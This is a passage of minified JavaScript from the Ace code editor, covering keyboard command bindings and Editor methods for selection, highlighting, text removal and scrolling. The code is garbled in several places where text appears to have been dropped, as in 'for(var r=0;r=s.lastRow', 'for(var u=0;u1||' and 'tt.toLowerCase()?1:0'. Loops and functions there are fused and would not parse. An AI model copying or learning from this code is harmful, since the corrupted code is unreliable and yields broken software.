right",bindKey:r("Ctrl-Shift-Right","Option-Shift-Right"),exec:function(e){e.getSelection().selectWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotowordright",description:"Go to word right",bindKey:r("Ctrl-Right","Option-Right"),exec:function(e){e.navigateWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selecttolineend",description:"Select to line end",bindKey:r("Alt-Shift-Right","Command-Shift-Right|Shift-End|Ctrl-Shift-E"),exec:function(e){e.getSelection().selectLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotolineend",description:"Go to line end",bindKey:r("Alt-Right|End","Command-Right|End|Ctrl-E"),exec:function(e){e.navigateLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectright",description:"Select right",bindKey:r("Shift-Right","Shift-Right"),exec:function(e){e.getSelection().selectRight()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"gotoright",description:"Go to right",bindKey:r("Right","Right|Ctrl-F"),exec:function(e,t){e.navigateRight(t.times)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectpagedown",description:"Select page down",bindKey:"Shift-PageDown",exec:function(e){e.selectPageDown()},readOnly:!0},{name:"pagedown",description:"Page down",bindKey:r(null,"Option-PageDown"),exec:function(e){e.scrollPageDown()},readOnly:!0},{name:"gotopagedown",description:"Go to page down",bindKey:r("PageDown","PageDown|Ctrl-V"),exec:function(e){e.gotoPageDown()},readOnly:!0},{name:"selectpageup",description:"Select page up",bindKey:"Shift-PageUp",exec:function(e){e.selectPageUp()},readOnly:!0},{name:"pageup",description:"Page up",bindKey:r(null,"Option-PageUp"),exec:function(e){e.scrollPageUp()},readOnly:!0},{name:"gotopageup",description:"Go to page up",bindKey:"PageUp",exec:function(e){e.gotoPageUp()},readOnly:!0},{name:"scrollup",description:"Scroll up",bindKey:r("Ctrl-Up",null),exec:function(e){e.renderer.scrollBy(0,-2*e.renderer.layerConfig.lineHeight)},readOnly:!0},{name:"scrolldown",description:"Scroll down",bindKey:r("Ctrl-Down",null),exec:function(e){e.renderer.scrollBy(0,2*e.renderer.layerConfig.lineHeight)},readOnly:!0},{name:"selectlinestart",description:"Select line start",bindKey:"Shift-Home",exec:function(e){e.getSelection().selectLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"selectlineend",description:"Select line end",bindKey:"Shift-End",exec:function(e){e.getSelection().selectLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"togglerecording",description:"Toggle recording",bindKey:r("Ctrl-Alt-E","Command-Option-E"),exec:function(e){e.commands.toggleRecording(e)},readOnly:!0},{name:"replaymacro",description:"Replay macro",bindKey:r("Ctrl-Shift-E","Command-Shift-E"),exec:function(e){e.commands.replay(e)},readOnly:!0},{name:"jumptomatching",description:"Jump to matching",bindKey:r("Ctrl-\\|Ctrl-P","Command-\\"),exec:function(e){e.jumpToMatching()},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:!0},{name:"selecttomatching",description:"Select to matching",bindKey:r("Ctrl-Shift-\\|Ctrl-Shift-P","Command-Shift-\\"),exec:function(e){e.jumpToMatching(!0)},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:!0},{name:"expandToMatching",description:"Expand to matching",bindKey:r("Ctrl-Shift-M","Ctrl-Shift-M"),exec:function(e){e.jumpToMatching(!0,!0)},multiSelectAction:"forEach",scrollIntoView:"animate",readOnly:!0},{name:"passKeysToBrowser",description:"Pass keys to browser",bindKey:r(null,null),exec:function(){},passEvent:!0,readOnly:!0},{name:"copy",description:"Copy",exec:function(e){},readOnly:!0},{name:"cut",description:"Cut",exec:function(e){var t=e.$copyWithEmptySelection&&e.selection.isEmpty()?e.selection.getLineRange():e.selection.getRange();e._emit("cut",t),t.isEmpty()||e.session.remove(t),e.clearSelection()},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"paste",description:"Paste",exec:function(e,t){e.$handlePaste(t)},scrollIntoView:"cursor"},{name:"removeline",description:"Remove line",bindKey:r("Ctrl-D","Command-D"),exec:function(e){e.removeLines()},scrollIntoView:"cursor",multiSelectAction:"forEachLine"},{name:"duplicateSelection",description:"Duplicate selection",bindKey:r("Ctrl-Shift-D","Command-Shift-D"),exec:function(e){e.duplicateSelection()},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"sortlines",description:"Sort lines",bindKey:r("Ctrl-Alt-S","Command-Alt-S"),exec:function(e){e.sortLines()},scrollIntoView:"selection",multiSelectAction:"forEachLine"},{name:"togglecomment",description:"Toggle comment",bindKey:r("Ctrl-/","Command-/"),exec:function(e){e.toggleCommentLines()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"toggleBlockComment",description:"Toggle block comment",bindKey:r("Ctrl-Shift-/","Command-Shift-/"),exec:function(e){e.toggleBlockComment()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"modifyNumberUp",description:"Modify number up",bindKey:r("Ctrl-Shift-Up","Alt-Shift-Up"),exec:function(e){e.modifyNumber(1)},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"modifyNumberDown",description:"Modify number down",bindKey:r("Ctrl-Shift-Down","Alt-Shift-Down"),exec:function(e){e.modifyNumber(-1)},scrollIntoView:"cursor",multiSelectAction:"forEach"},{name:"replace",description:"Replace",bindKey:r("Ctrl-H","Command-Option-F"),exec:function(e){s.loadModule("ace/ext/searchbox",(function(t){t.Search(e,!0)}))}},{name:"undo",description:"Undo",bindKey:r("Ctrl-Z","Command-Z"),exec:function(e){e.undo()}},{name:"redo",description:"Redo",bindKey:r("Ctrl-Shift-Z|Ctrl-Y","Command-Shift-Z|Command-Y"),exec:function(e){e.redo()}},{name:"copylinesup",description:"Copy lines up",bindKey:r("Alt-Shift-Up","Command-Option-Up"),exec:function(e){e.copyLinesUp()},scrollIntoView:"cursor"},{name:"movelinesup",description:"Move lines up",bindKey:r("Alt-Up","Option-Up"),exec:function(e){e.moveLinesUp()},scrollIntoView:"cursor"},{name:"copylinesdown",description:"Copy lines down",bindKey:r("Alt-Shift-Down","Command-Option-Down"),exec:function(e){e.copyLinesDown()},scrollIntoView:"cursor"},{name:"movelinesdown",description:"Move lines down",bindKey:r("Alt-Down","Option-Down"),exec:function(e){e.moveLinesDown()},scrollIntoView:"cursor"},{name:"del",description:"Delete",bindKey:r("Delete","Delete|Ctrl-D|Shift-Delete"),exec:function(e){e.remove("right")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"backspace",description:"Backspace",bindKey:r("Shift-Backspace|Backspace","Ctrl-Backspace|Shift-Backspace|Backspace|Ctrl-H"),exec:function(e){e.remove("left")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"cut_or_delete",description:"Cut or delete",bindKey:r("Shift-Delete",null),exec:function(e){if(!e.selection.isEmpty())return!1;e.remove("left")},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolinestart",description:"Remove to line start",bindKey:r("Alt-Backspace","Command-Backspace"),exec:function(e){e.removeToLineStart()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolineend",description:"Remove to line end",bindKey:r("Alt-Delete","Ctrl-K|Command-Delete"),exec:function(e){e.removeToLineEnd()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolinestarthard",description:"Remove to line start hard",bindKey:r("Ctrl-Shift-Backspace",null),exec:function(e){var t=e.selection.getRange();t.start.column=0,e.session.remove(t)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removetolineendhard",description:"Remove to line end hard",bindKey:r("Ctrl-Shift-Delete",null),exec:function(e){var t=e.selection.getRange();t.end.column=Number.MAX_VALUE,e.session.remove(t)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removewordleft",description:"Remove word left",bindKey:r("Ctrl-Backspace","Alt-Backspace|Ctrl-Alt-Backspace"),exec:function(e){e.removeWordLeft()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"removewordright",description:"Remove word right",bindKey:r("Ctrl-Delete","Alt-Delete"),exec:function(e){e.removeWordRight()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"outdent",description:"Outdent",bindKey:r("Shift-Tab","Shift-Tab"),exec:function(e){e.blockOutdent()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"indent",description:"Indent",bindKey:r("Tab","Tab"),exec:function(e){e.indent()},multiSelectAction:"forEach",scrollIntoView:"selectionPart"},{name:"blockoutdent",description:"Block outdent",bindKey:r("Ctrl-[","Ctrl-["),exec:function(e){e.blockOutdent()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"blockindent",description:"Block indent",bindKey:r("Ctrl-]","Ctrl-]"),exec:function(e){e.blockIndent()},multiSelectAction:"forEachLine",scrollIntoView:"selectionPart"},{name:"insertstring",description:"Insert string",exec:function(e,t){e.insert(t)},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"inserttext",description:"Insert text",exec:function(e,t){e.insert(n.stringRepeat(t.text||"",t.times||1))},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"splitline",description:"Split line",bindKey:r(null,"Ctrl-O"),exec:function(e){e.splitLine()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"transposeletters",description:"Transpose letters",bindKey:r("Alt-Shift-X","Ctrl-T"),exec:function(e){e.transposeLetters()},multiSelectAction:function(e){e.transposeSelections(1)},scrollIntoView:"cursor"},{name:"touppercase",description:"To uppercase",bindKey:r("Ctrl-U","Ctrl-U"),exec:function(e){e.toUpperCase()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"tolowercase",description:"To lowercase",bindKey:r("Ctrl-Shift-U","Ctrl-Shift-U"),exec:function(e){e.toLowerCase()},multiSelectAction:"forEach",scrollIntoView:"cursor"},{name:"autoindent",description:"Auto Indent",bindKey:r(null,null),exec:function(e){e.autoIndent()},multiSelectAction:"forEachLine",scrollIntoView:"animate"},{name:"expandtoline",description:"Expand to line",bindKey:r("Ctrl-Shift-L","Command-Shift-L"),exec:function(e){var t=e.selection.getRange();t.start.column=t.end.column=0,t.end.row++,e.selection.setRange(t,!1)},multiSelectAction:"forEach",scrollIntoView:"cursor",readOnly:!0},{name:"joinlines",description:"Join lines",bindKey:r(null,null),exec:function(e){for(var t=e.selection.isBackwards(),i=t?e.selection.getSelectionLead():e.selection.getSelectionAnchor(),s=t?e.selection.getSelectionAnchor():e.selection.getSelectionLead(),r=e.session.doc.getLine(i.row).length,a=e.session.doc.getTextRange(e.selection.getRange()).replace(/\n\s*/," ").length,l=e.session.doc.getLine(i.row),h=i.row+1;h<=s.row+1;h++){var c=n.stringTrimLeft(n.stringTrimRight(e.session.doc.getLine(h)));0!==c.length&&(c=" "+c),l+=c}s.row+10?(e.selection.moveCursorTo(i.row,i.column),e.selection.selectTo(i.row,i.column+a)):(r=e.session.doc.getLine(i.row).length>r?r+1:r,e.selection.moveCursorTo(i.row,r))},multiSelectAction:"forEach",readOnly:!0},{name:"invertSelection",description:"Invert selection",bindKey:r(null,null),exec:function(e){var t=e.session.doc.getLength()-1,i=e.session.doc.getLine(t).length,n=e.selection.rangeList.ranges,s=[];n.length<1&&(n=[e.selection.getRange()]);for(var r=0;r=s.lastRow||n.end.row<=s.firstRow)&&this.renderer.scrollSelectionIntoView(this.selection.anchor,this.selection.lead)}"animate"==i&&this.renderer.animateScrolling(this.curOp.scrollTop)}var o=this.selection.toJSON();this.curOp.selectionAfter=o,this.$lastSel=this.selection.toJSON(),this.session.getUndoManager().addSelection(o),this.prevOp=this.curOp,this.curOp=null}},this.$mergeableCommands=["backspace","del","insertstring"],this.$historyTracker=function(e){if(this.$mergeUndoDeltas){var t=this.prevOp,i=this.$mergeableCommands,n=t.command&&e.command.name==t.command.name;if("insertstring"==e.command.name){var s=e.args;void 0===this.mergeNextCommand&&(this.mergeNextCommand=!0),n=n&&this.mergeNextCommand&&(!/\s/.test(s)||/\s/.test(t.args)),this.mergeNextCommand=!0}else n=n&&-1!==i.indexOf(e.command.name);"always"!=this.$mergeUndoDeltas&&Date.now()-this.sequenceStartTime>2e3&&(n=!1),n?this.session.mergeUndoDeltas=!0:-1!==i.indexOf(e.command.name)&&(this.sequenceStartTime=Date.now())}},this.setKeyboardHandler=function(e,t){if(e&&"string"==typeof e&&"ace"!=e){this.$keybindingId=e;var i=this;v.loadModule(["keybinding",e],(function(n){i.$keybindingId==e&&i.keyBinding.setKeyboardHandler(n&&n.handler),t&&t()}))}else this.$keybindingId=null,this.keyBinding.setKeyboardHandler(e),t&&t()},this.getKeyboardHandler=function(){return this.keyBinding.getKeyboardHandler()},this.setSession=function(e){if(this.session!=e){this.curOp&&this.endOperation(),this.curOp={};var t=this.session;if(t){this.session.off("change",this.$onDocumentChange),this.session.off("changeMode",this.$onChangeMode),this.session.off("tokenizerUpdate",this.$onTokenizerUpdate),this.session.off("changeTabSize",this.$onChangeTabSize),this.session.off("changeWrapLimit",this.$onChangeWrapLimit),this.session.off("changeWrapMode",this.$onChangeWrapMode),this.session.off("changeFold",this.$onChangeFold),this.session.off("changeFrontMarker",this.$onChangeFrontMarker),this.session.off("changeBackMarker",this.$onChangeBackMarker),this.session.off("changeBreakpoint",this.$onChangeBreakpoint),this.session.off("changeAnnotation",this.$onChangeAnnotation),this.session.off("changeOverwrite",this.$onCursorChange),this.session.off("changeScrollTop",this.$onScrollTopChange),this.session.off("changeScrollLeft",this.$onScrollLeftChange);var i=this.session.getSelection();i.off("changeCursor",this.$onCursorChange),i.off("changeSelection",this.$onSelectionChange)}this.session=e,e?(this.$onDocumentChange=this.onDocumentChange.bind(this),e.on("change",this.$onDocumentChange),this.renderer.setSession(e),this.$onChangeMode=this.onChangeMode.bind(this),e.on("changeMode",this.$onChangeMode),this.$onTokenizerUpdate=this.onTokenizerUpdate.bind(this),e.on("tokenizerUpdate",this.$onTokenizerUpdate),this.$onChangeTabSize=this.renderer.onChangeTabSize.bind(this.renderer),e.on("changeTabSize",this.$onChangeTabSize),this.$onChangeWrapLimit=this.onChangeWrapLimit.bind(this),e.on("changeWrapLimit",this.$onChangeWrapLimit),this.$onChangeWrapMode=this.onChangeWrapMode.bind(this),e.on("changeWrapMode",this.$onChangeWrapMode),this.$onChangeFold=this.onChangeFold.bind(this),e.on("changeFold",this.$onChangeFold),this.$onChangeFrontMarker=this.onChangeFrontMarker.bind(this),this.session.on("changeFrontMarker",this.$onChangeFrontMarker),this.$onChangeBackMarker=this.onChangeBackMarker.bind(this),this.session.on("changeBackMarker",this.$onChangeBackMarker),this.$onChangeBreakpoint=this.onChangeBreakpoint.bind(this),this.session.on("changeBreakpoint",this.$onChangeBreakpoint),this.$onChangeAnnotation=this.onChangeAnnotation.bind(this),this.session.on("changeAnnotation",this.$onChangeAnnotation),this.$onCursorChange=this.onCursorChange.bind(this),this.session.on("changeOverwrite",this.$onCursorChange),this.$onScrollTopChange=this.onScrollTopChange.bind(this),this.session.on("changeScrollTop",this.$onScrollTopChange),this.$onScrollLeftChange=this.onScrollLeftChange.bind(this),this.session.on("changeScrollLeft",this.$onScrollLeftChange),this.selection=e.getSelection(),this.selection.on("changeCursor",this.$onCursorChange),this.$onSelectionChange=this.onSelectionChange.bind(this),this.selection.on("changeSelection",this.$onSelectionChange),this.onChangeMode(),this.onCursorChange(),this.onScrollTopChange(),this.onScrollLeftChange(),this.onSelectionChange(),this.onChangeFrontMarker(),this.onChangeBackMarker(),this.onChangeBreakpoint(),this.onChangeAnnotation(),this.session.getUseWrapMode()&&this.renderer.adjustWrapLimit(),this.renderer.updateFull()):(this.selection=null,this.renderer.setSession(e)),this._signal("changeSession",{session:e,oldSession:t}),this.curOp=null,t&&t._signal("changeEditor",{oldEditor:this}),e&&e._signal("changeEditor",{editor:this}),e&&!e.destroyed&&e.bgTokenizer.scheduleStart()}},this.getSession=function(){return this.session},this.setValue=function(e,t){return this.session.doc.setValue(e),t?1==t?this.navigateFileEnd():-1==t&&this.navigateFileStart():this.selectAll(),e},this.getValue=function(){return this.session.getValue()},this.getSelection=function(){return this.selection},this.resize=function(e){this.renderer.onResize(e)},this.setTheme=function(e,t){this.renderer.setTheme(e,t)},this.getTheme=function(){return this.renderer.getTheme()},this.setStyle=function(e){this.renderer.setStyle(e)},this.unsetStyle=function(e){this.renderer.unsetStyle(e)},this.getFontSize=function(){return this.getOption("fontSize")||s.computedStyle(this.container).fontSize},this.setFontSize=function(e){this.setOption("fontSize",e)},this.$highlightBrackets=function(){if(!this.$highlightPending){var e=this;this.$highlightPending=!0,setTimeout((function(){e.$highlightPending=!1;var t=e.session;if(t&&!t.destroyed){t.$bracketHighlight&&(t.$bracketHighlight.markerIds.forEach((function(e){t.removeMarker(e)})),t.$bracketHighlight=null);var i=t.getMatchingBracketRanges(e.getCursorPosition());if(!i&&t.$mode.getMatching&&(i=t.$mode.getMatching(e.session)),i){var n="ace_bracket";Array.isArray(i)?1==i.length&&(n="ace_error_bracket"):i=[i],2==i.length&&(0==g.comparePoints(i[0].end,i[1].start)?i=[g.fromPoints(i[0].start,i[1].end)]:0==g.comparePoints(i[0].start,i[1].end)&&(i=[g.fromPoints(i[1].start,i[0].end)])),t.$bracketHighlight={ranges:i,markerIds:i.map((function(e){return t.addMarker(e,n,"text")}))}}}}),50)}},this.$highlightTags=function(){if(!this.$highlightTagPending){var e=this;this.$highlightTagPending=!0,setTimeout((function(){e.$highlightTagPending=!1;var t=e.session;if(t&&!t.destroyed){var i=e.getCursorPosition(),n=new w(e.session,i.row,i.column),s=n.getCurrentToken();if(!s||!/\b(?:tag-open|tag-name)/.test(s.type))return t.removeMarker(t.$tagHighlight),void(t.$tagHighlight=null);if(-1===s.type.indexOf("tag-open")||(s=n.stepForward())){var o=s.value,r=s.value,a=0,l=n.stepBackward();if("<"===l.value)do{l=s,(s=n.stepForward())&&(-1!==s.type.indexOf("tag-name")?o===(r=s.value)&&("<"===l.value?a++:""===s.value&&a--)}while(s&&a>=0);else{do{if(s=l,l=n.stepBackward(),s)if(-1!==s.type.indexOf("tag-name"))o===s.value&&("<"===l.value?a++:""===s.value){for(var h=0,c=l;c;){if(-1!==c.type.indexOf("tag-name")&&c.value===o){a--;break}if("<"===c.value)break;c=n.stepBackward(),h++}for(var u=0;u1||(e=!1)),t.$highlightLineMarker&&!e)t.removeMarker(t.$highlightLineMarker.id),t.$highlightLineMarker=null;else if(!t.$highlightLineMarker&&e){var i=new g(e.row,e.column,e.row,1/0);i.id=t.addMarker(i,"ace_active-line","screenLine"),t.$highlightLineMarker=i}else e&&(t.$highlightLineMarker.start.row=e.row,t.$highlightLineMarker.end.row=e.row,t.$highlightLineMarker.start.column=e.column,t._signal("changeBackMarker"))},this.onSelectionChange=function(e){var t=this.session;if(t.$selectionMarker&&t.removeMarker(t.$selectionMarker),t.$selectionMarker=null,this.selection.isEmpty())this.$updateHighlightActiveLine();else{var i=this.selection.getRange(),n=this.getSelectionStyle();t.$selectionMarker=t.addMarker(i,"ace_selection",n)}var s=this.$highlightSelectedWord&&this.$getSelectionHighLightRegexp();this.session.highlight(s),this._signal("changeSelection")},this.$getSelectionHighLightRegexp=function(){var e=this.session,t=this.getSelectionRange();if(!t.isEmpty()&&!t.isMultiLine()){var i=t.start.column,n=t.end.column,s=e.getLine(t.start.row),o=s.substring(i,n);if(!(o.length>5e3)&&/[\w\d]/.test(o)){var r=this.$search.$assembleRegExp({wholeWord:!0,caseSensitive:!0,needle:o}),a=s.substring(i-1,n+1);if(r.test(a))return r}}},this.onChangeFrontMarker=function(){this.renderer.updateFrontMarkers()},this.onChangeBackMarker=function(){this.renderer.updateBackMarkers()},this.onChangeBreakpoint=function(){this.renderer.updateBreakpoints()},this.onChangeAnnotation=function(){this.renderer.setAnnotations(this.session.getAnnotations())},this.onChangeMode=function(e){this.renderer.updateText(),this._emit("changeMode",e)},this.onChangeWrapLimit=function(){this.renderer.updateFull()},this.onChangeWrapMode=function(){this.renderer.onResize(!0)},this.onChangeFold=function(){this.$updateHighlightActiveLine(),this.renderer.updateFull()},this.getSelectedText=function(){return this.session.getTextRange(this.getSelectionRange())},this.getCopyText=function(){var e=this.getSelectedText(),t=this.session.doc.getNewLineCharacter(),i=!1;if(!e&&this.$copyWithEmptySelection){i=!0;for(var n=this.selection.getAllRanges(),s=0;sa.search(/\S|$/)){var l=a.substr(s.column).search(/\S|$/);i.doc.removeInLine(s.row,s.column,s.column+l)}}this.clearSelection();var h=s.column,c=i.getState(s.row),u=(a=i.getLine(s.row),n.checkOutdent(c,a,e));if(i.insert(s,e),o&&o.selection&&(2==o.selection.length?this.selection.setSelectionRange(new g(s.row,h+o.selection[0],s.row,h+o.selection[1])):this.selection.setSelectionRange(new g(s.row+o.selection[0],o.selection[1],s.row+o.selection[2],o.selection[3]))),this.$enableAutoIndent){if(i.getDocument().isNewLine(e)){var d=n.getNextLineIndent(c,a.slice(0,s.column),i.getTabString());i.insert({row:s.row+1,column:0},d)}u&&n.autoOutdent(c,i,s.row)}},this.autoIndent=function(){var e,t,i=this.session,n=i.getMode();if(this.selection.isEmpty())e=0,t=i.doc.getLength()-1;else{var s=this.getSelectionRange();e=s.start.row,t=s.end.row}for(var o,r,a,l="",h="",c="",u=i.getTabString(),d=e;d<=t;d++)d>0&&(l=i.getState(d-1),h=i.getLine(d-1),c=n.getNextLineIndent(l,h,u)),o=i.getLine(d),c!==(r=n.$getIndent(o))&&(r.length>0&&(a=new g(d,0,d,r.length),i.remove(a)),c.length>0&&i.insert({row:d,column:0},c)),n.autoOutdent(l,i,d)},this.onTextInput=function(e,t){if(!t)return this.keyBinding.onTextInput(e);this.startOperation({command:{name:"insertstring"}});var i=this.applyComposition.bind(this,e,t);this.selection.rangeCount?this.forEachSelection(i):i(),this.endOperation()},this.applyComposition=function(e,t){var i;(t.extendLeft||t.extendRight)&&((i=this.selection.getRange()).start.column-=t.extendLeft,i.end.column+=t.extendRight,i.start.column<0&&(i.start.row--,i.start.column+=this.session.getLine(i.start.row).length+1),this.selection.setRange(i),e||i.isEmpty()||this.remove());(!e&&this.selection.isEmpty()||this.insert(e,!0),t.restoreStart||t.restoreEnd)&&((i=this.selection.getRange()).start.column-=t.restoreStart,i.end.column-=t.restoreEnd,this.selection.setRange(i))},this.onCommandKey=function(e,t,i){return this.keyBinding.onCommandKey(e,t,i)},this.setOverwrite=function(e){this.session.setOverwrite(e)},this.getOverwrite=function(){return this.session.getOverwrite()},this.toggleOverwrite=function(){this.session.toggleOverwrite()},this.setScrollSpeed=function(e){this.setOption("scrollSpeed",e)},this.getScrollSpeed=function(){return this.getOption("scrollSpeed")},this.setDragDelay=function(e){this.setOption("dragDelay",e)},this.getDragDelay=function(){return this.getOption("dragDelay")},this.setSelectionStyle=function(e){this.setOption("selectionStyle",e)},this.getSelectionStyle=function(){return this.getOption("selectionStyle")},this.setHighlightActiveLine=function(e){this.setOption("highlightActiveLine",e)},this.getHighlightActiveLine=function(){return this.getOption("highlightActiveLine")},this.setHighlightGutterLine=function(e){this.setOption("highlightGutterLine",e)},this.getHighlightGutterLine=function(){return this.getOption("highlightGutterLine")},this.setHighlightSelectedWord=function(e){this.setOption("highlightSelectedWord",e)},this.getHighlightSelectedWord=function(){return this.$highlightSelectedWord},this.setAnimatedScroll=function(e){this.renderer.setAnimatedScroll(e)},this.getAnimatedScroll=function(){return this.renderer.getAnimatedScroll()},this.setShowInvisibles=function(e){this.renderer.setShowInvisibles(e)},this.getShowInvisibles=function(){return this.renderer.getShowInvisibles()},this.setDisplayIndentGuides=function(e){this.renderer.setDisplayIndentGuides(e)},this.getDisplayIndentGuides=function(){return this.renderer.getDisplayIndentGuides()},this.setShowPrintMargin=function(e){this.renderer.setShowPrintMargin(e)},this.getShowPrintMargin=function(){return this.renderer.getShowPrintMargin()},this.setPrintMarginColumn=function(e){this.renderer.setPrintMarginColumn(e)},this.getPrintMarginColumn=function(){return this.renderer.getPrintMarginColumn()},this.setReadOnly=function(e){this.setOption("readOnly",e)},this.getReadOnly=function(){return this.getOption("readOnly")},this.setBehavioursEnabled=function(e){this.setOption("behavioursEnabled",e)},this.getBehavioursEnabled=function(){return this.getOption("behavioursEnabled")},this.setWrapBehavioursEnabled=function(e){this.setOption("wrapBehavioursEnabled",e)},this.getWrapBehavioursEnabled=function(){return this.getOption("wrapBehavioursEnabled")},this.setShowFoldWidgets=function(e){this.setOption("showFoldWidgets",e)},this.getShowFoldWidgets=function(){return this.getOption("showFoldWidgets")},this.setFadeFoldWidgets=function(e){this.setOption("fadeFoldWidgets",e)},this.getFadeFoldWidgets=function(){return this.getOption("fadeFoldWidgets")},this.remove=function(e){this.selection.isEmpty()&&("left"==e?this.selection.selectLeft():this.selection.selectRight());var t=this.getSelectionRange();if(this.getBehavioursEnabled()){var i=this.session,n=i.getState(t.start.row),s=i.getMode().transformAction(n,"deletion",this,i,t);if(0===t.end.column){var o=i.getTextRange(t);if("\n"==o[o.length-1]){var r=i.getLine(t.end.row);/^\s+$/.test(r)&&(t.end.column=r.length)}}s&&(t=s)}this.session.remove(t),this.clearSelection()},this.removeWordRight=function(){this.selection.isEmpty()&&this.selection.selectWordRight(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeWordLeft=function(){this.selection.isEmpty()&&this.selection.selectWordLeft(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeToLineStart=function(){this.selection.isEmpty()&&this.selection.selectLineStart(),this.selection.isEmpty()&&this.selection.selectLeft(),this.session.remove(this.getSelectionRange()),this.clearSelection()},this.removeToLineEnd=function(){this.selection.isEmpty()&&this.selection.selectLineEnd();var e=this.getSelectionRange();e.start.column==e.end.column&&e.start.row==e.end.row&&(e.end.column=0,e.end.row++),this.session.remove(e),this.clearSelection()},this.splitLine=function(){this.selection.isEmpty()||(this.session.remove(this.getSelectionRange()),this.clearSelection());var e=this.getCursorPosition();this.insert("\n"),this.moveCursorToPosition(e)},this.transposeLetters=function(){if(this.selection.isEmpty()){var e=this.getCursorPosition(),t=e.column;if(0!==t){var i,n,s=this.session.getLine(e.row);tt.toLowerCase()?1:0}));var s=new g(0,0,0,0);for(n=e.first;n<=e.last;n++){var o=t.getLine(n);s.start.row=n,s.end.row=n,s.end.column=o.length,t.replace(s,i[n-e.first])}},this.toggleCommentLines=function(){var e=this.session.getState(this.getCursorPosition().row),t=this.$getSelectedRows();this.session.getMode().toggleCommentLines(e,this.session,t.first,t.last)},this.toggleBlockComment=function(){var e=this.getCursorPosition(),t=this.session.getState(e.row),i=this.getSelectionRange();this.session.getMode().toggleBlockComment(t,this.session,i,e)},this.getNumberAt=function(e,t){var i=/[\-]?[0-9]+(?:\.[0-9]+)?/g;i.lastIndex=0;for(var n=this.session.getLine(e);i.lastIndex=t)return{value:s[0],start:s.index,end:s.index+s[0].length}}return null},this.modifyNumber=function(e){var t=this.selection.getCursor().row,i=this.selection.getCursor().column,n=new g(t,i-1,t,i),s=this.session.getTextRange(n);if(!isNaN(parseFloat(s))&&isFinite(s)){var o=this.getNumberAt(t,i);if(o){var r=o.value.indexOf(".")>=0?o.start+o.value.indexOf(".")+1:o.end,a=o.start+o.value.length-r,l=parseFloat(o.value);l*=Math.pow(10,a),r!==o.end&&i=a&&r<=l&&(i=t,h.selection.clearSelection(),h.moveCursorTo(e,a+n),h.selection.selectTo(e,l+n)),a=l}));for(var c,u=this.$toggleWordPairs,d=0;dg+1)break;g=f.last}for(c--,a=this.session.$moveLines(d,g,t?0:e),t&&-1==e&&(u=c+1);u<=c;)r[u].moveBy(a,0),u++;t||(a=0),l+=a}s.fromOrientedRange(s.ranges[0]),s.rangeList.attach(this.session),this.inVirtualSelectionMode=!1}},this.$getSelectedRows=function(e){return e=(e||this.getSelectionRange()).collapseRows(),{first:this.session.getRowFoldStart(e.start.row),last:this.session.getRowFoldEnd(e.end.row)}},this.onCompositionStart=function(e){this.renderer.showComposition(e)},this.onCompositionUpdate=function(e){this.renderer.setCompositionText(e)},this.onCompositionEnd=function(){this.renderer.hideComposition()},this.getFirstVisibleRow=function(){return this.renderer.getFirstVisibleRow()},this.getLastVisibleRow=function(){return this.renderer.getLastVisibleRow()},this.isRowVisible=function(e){return e>=this.getFirstVisibleRow()&&e<=this.getLastVisibleRow()},this.isRowFullyVisible=function(e){return e>=this.renderer.getFirstFullyVisibleRow()&&e<=this.renderer.getLastFullyVisibleRow()},this.$getVisibleRowCount=function(){return this.renderer.getScrollBottomRow()-this.renderer.getScrollTopRow()+1},this.$moveByPage=function(e,t){var i=this.renderer,n=this.renderer.layerConfig,s=e*Math.floor(n.height/n.lineHeight);!0===t?this.selection.$moveSelection((function(){this.moveCursorBy(s,0)})):!1===t&&(this.selection.moveCursorBy(s,0),this.selection.clearSelection());var o=i.scrollTop;i.scrollBy(0,s*n.lineHeight),null!=t&&i.scrollCursorIntoView(null,.5),i.animateScrolling(o)},this.selectPageDown=function(){this.$moveByPage(1,!0)},this.selectPageUp=function(){this.$moveByPage(-1,!0)},this.gotoPageDown=function(){this.$moveByPage(1,!1)},this.gotoPageUp=function(){this.$moveByPage(-1,!1)},this.scrollPageDown=function(){this.$moveByPage(1)},this.scrollPageUp=function(){this.$moveByPage(-1)},this.scrollToRow=function(e){this.renderer.scrollToRow(e)},this.scrollToLine=function(e,t,i,n){this.renderer.scrollToLine(e,t,i,n)},this.centerSelection=function(){var e=this.getSelectionRange(),t={row:Math.floor(e.start.row+(e.end.row-e.start.row)/2),column:Math.floor(e.start.column+(e.end.column-e.start.column)/2)};this.renderer.alignCursor(t,.5)},this.getCursorPosition=function(){return this.selection.getCursor()},this.getCursorPositionScreen=function(){return 